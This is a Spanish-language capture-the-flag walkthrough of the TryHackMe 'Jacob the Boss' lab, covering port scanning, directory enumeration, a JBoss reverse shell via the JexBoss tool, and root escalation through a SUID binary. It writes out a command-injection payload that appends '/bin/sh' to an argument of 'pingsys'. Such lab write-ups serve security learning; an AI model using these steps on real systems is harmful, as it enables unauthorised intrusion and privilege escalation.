This page looks best with JavaScript enabled

TryHackMe - Jacob the Boss

 •  ✍️ sckull

Jacob the Boss es una maquina de TryHackMe, la version de JBossWS es vulnerable por lo que utilizamos JexBoss Tool para ejecutar una shell inversa. Finalmente escalamos privilegios con un fichero SUID.

Room

Titulo Jacob the Boss box_img_maker
Descripción Find a way in and learn a little more.
Puntos 160
Dificultad Media
Maker

waldir

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto ssh (22), http (80), mysql (3306), apache tomcat (8080) y el servicio jboss (8083) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# Nmap 7.80 scan initiated Tue Sep  8 17:24:17 2020 as: nmap -sV -o mini_scan jacobtheboss.box
Nmap scan report for jacobtheboss.box (10.10.186.254)
Host is up (0.28s latency).
Not shown: 987 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http        Apache httpd 2.4.6 ((CentOS) PHP/7.3.20)
111/tcp  open  rpcbind
1090/tcp open  java-rmi    Java RMI
1098/tcp open  java-rmi    Java RMI
1099/tcp open  java-object Java Object Serialization
3306/tcp open  mysql       MariaDB (unauthorized)
4444/tcp open  krb524?
4445/tcp open  java-object Java Object Serialization
4446/tcp open  java-object Java Object Serialization
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8080/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
8083/tcp open  http        JBoss service httpd
3 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port1099-TCP:V=7.80%I=7%D=9/8%Time=5F57F69E%P=x86_64-pc-linux-gnu%r(NUL
SF:L,16F,"\xac\xed\0\x05sr\0\x19java\.rmi\.MarshalledObject\|\xbd\x1e\x97\
SF:xedc\xfc>\x02\0\x03I\0\x04hash\[\0\x08locBytest\0\x02\[B\[\0\x08objByte
SF:sq\0~\0\x01xp\]3S\xc2ur\0\x02\[B\xac\xf3\x17\xf8\x06\x08T\xe0\x02\0\0xp
SF:\0\0\0\.\xac\xed\0\x05t\0\x1dhttp://jacobtheboss\.box:8083/q\0~\0\0q\0~
SF:\0\0uq\0~\0\x03\0\0\0\xc7\xac\xed\0\x05sr\0\x20org\.jnp\.server\.Naming
SF:Server_Stub\0\0\0\0\0\0\0\x02\x02\0\0xr\0\x1ajava\.rmi\.server\.RemoteS
SF:tub\xe9\xfe\xdc\xc9\x8b\xe1e\x1a\x02\0\0xr\0\x1cjava\.rmi\.server\.Remo
SF:teObject\xd3a\xb4\x91\x0ca3\x1e\x03\0\0xpw;\0\x0bUnicastRef2\0\0\x10jac
SF:obtheboss\.box\0\0\x04J\0\0\0\0\0\0\0\0\xd7\xc7\x1c\xd8\0\0\x01to\x99\x
SF:ed;\x80\0\0x");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port4445-TCP:V=7.80%I=7%D=9/8%Time=5F57F6A3%P=x86_64-pc-linux-gnu%r(NUL
SF:L,4,"\xac\xed\0\x05");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port4446-TCP:V=7.80%I=7%D=9/8%Time=5F57F6A3%P=x86_64-pc-linux-gnu%r(NUL
SF:L,4,"\xac\xed\0\x05");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Sep  8 17:25:12 2020 -- 1 IP address (1 host up) scanned in 54.24 seconds

HTTP

Encontramos una pagina web en el puerto 80.

image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
kali@kali:~/thm/jacobtheboss$ gobuster dir -u http://jacobtheboss.box/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/admin (Status: 301)
/cache (Status: 403)
/cgi-bin/ (Status: 403)
/cgi-bin/.html (Status: 403)
/db (Status: 403)
/inc (Status: 403)
/index.php (Status: 200)
/index.php (Status: 200)
/LICENSE (Status: 200)
/plugins (Status: 403)
/public (Status: 301)
/themes (Status: 301)
/var (Status: 403)

RPCBIND

RCP solo nos muestra que la conexion ha sido rechazada sin las credenciales.

1
2
kali@kali:~/thm/jacobtheboss$ rpcclient -U '' -N jacobtheboss.box
Cannot connect to server.  Error was NT_STATUS_CONNECTION_REFUSED

HTTP 8080

Encontramos JBoss en el puerto 8080.

image

Verificamos la version de la plataforma en /jbossws/.

image

JACOB - USER

JBoss - JexBoss Tool

Utilizamos Jexbooss para verificar si es vulnerable a los diferentes vectores. Vemos que es vulnerable a 3 de los 8 disponibles en esta herramienta.

image

Utilizamos la misma herramienta para ejecutar una shell inversa al igual que en THM - Tony The Tiger.

image

Logramos obtener una shell con el usuario jacob y la flag user.txt.

image

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion en busqueda de archivos SUID y vemos varios comandos/binarios, a un principio se veia prometedor crontab pero al ejecutar crontab -e lo cual nos permitiria crear un cron como usuario root no era suficiente la shell que teniamos. Vemos tambien pingsys el cual realiza un ping a una determinada IP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
[jacob@jacobtheboss /]$ find / -perm -4000 2> /dev/null | xargs ls -lah
find / -perm -4000 2> /dev/null | xargs ls -lah
-rwsr-xr-x. 1 root root  73K Aug  9  2019 /usr/bin/chage
-rws--x--x. 1 root root  24K Apr  1 04:51 /usr/bin/chfn
-rws--x--x. 1 root root  24K Apr  1 04:51 /usr/bin/chsh
-rwsr-xr-x. 1 root root  57K Aug  8  2019 /usr/bin/crontab
-rwsr-xr-x. 1 root root  32K Oct 30  2018 /usr/bin/fusermount
-rwsr-xr-x. 1 root root  77K Aug  9  2019 /usr/bin/gpasswd
-rwsr-xr-x. 1 root root  44K Apr  1 04:51 /usr/bin/mount
-rwsr-xr-x. 1 root root  41K Aug  9  2019 /usr/bin/newgrp
-rwsr-xr-x. 1 root root  28K Apr  1 03:57 /usr/bin/passwd
-rwsr-xr-x. 1 root root 8.4K Jul 30 22:10 /usr/bin/pingsys
-rwsr-xr-x. 1 root root  24K Apr  1 04:07 /usr/bin/pkexec
-rwsr-xr-x. 1 root root  32K Apr  1 04:51 /usr/bin/su
---s--x--x. 1 root root 144K Apr  1 04:37 /usr/bin/sudo
-rwsr-xr-x. 1 root root  32K Apr  1 04:51 /usr/bin/umount
-rwsr-x---. 1 root dbus  57K Jul 13 14:23 /usr/libexec/dbus-1/dbus-daemon-launch-helper
-rwsr-xr-x. 1 root root  16K Apr  1 04:07 /usr/lib/polkit-1/polkit-agent-helper-1
-rwsr-xr-x. 1 root root 115K Apr  1 03:55 /usr/sbin/mount.nfs
-rwsr-xr-x. 1 root root  11K Apr  1 04:00 /usr/sbin/pam_timestamp_check
-rwsr-xr-x. 1 root root  36K Apr  1 04:00 /usr/sbin/unix_chkpwd
-rwsr-xr-x. 1 root root  12K Apr  1 02:50 /usr/sbin/usernetctl

Despues de investigar un poco sobre pingsys encontramos un post en donde habla acerca de este binario, el codigo fuente y de cómo es posible obtener una shell con privilegios root. El Binario que encontramos en la maquina tiene strings muy parecidas al del codigo del post.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
[jacob@jacobtheboss /]$ file /usr/bin/pingsys
/usr/bin/pingsys: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=6edc93ec3e4b82857772727e602265140ee00823, not stripped
[jacob@jacobtheboss /]$ strings /usr/bin/pingsys
/lib64/ld-linux-x86-64.so.2
wrr~`"e
libc.so.6
setuid
system
__libc_start_main
snprintf
__gmon_start__
GLIBC_2.2.5
UH-P
UH-P
[]A\A]A^A_
ping -c 4 %s
setUID ERROR
;*3$"
[... REDACTED ...]
[root@jacobtheboss .ssh]#

Utilizamos pingsys pasandole una IP y /bin/sh separados por ; lo cual va a realizar ping sobre la IP y luego ejecutará /bin/sh, logramos obtener una shell con usuario root y la flag root.txt.

1
/usr/bin/pingsys '127.0.0.1; /bin/sh'

image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe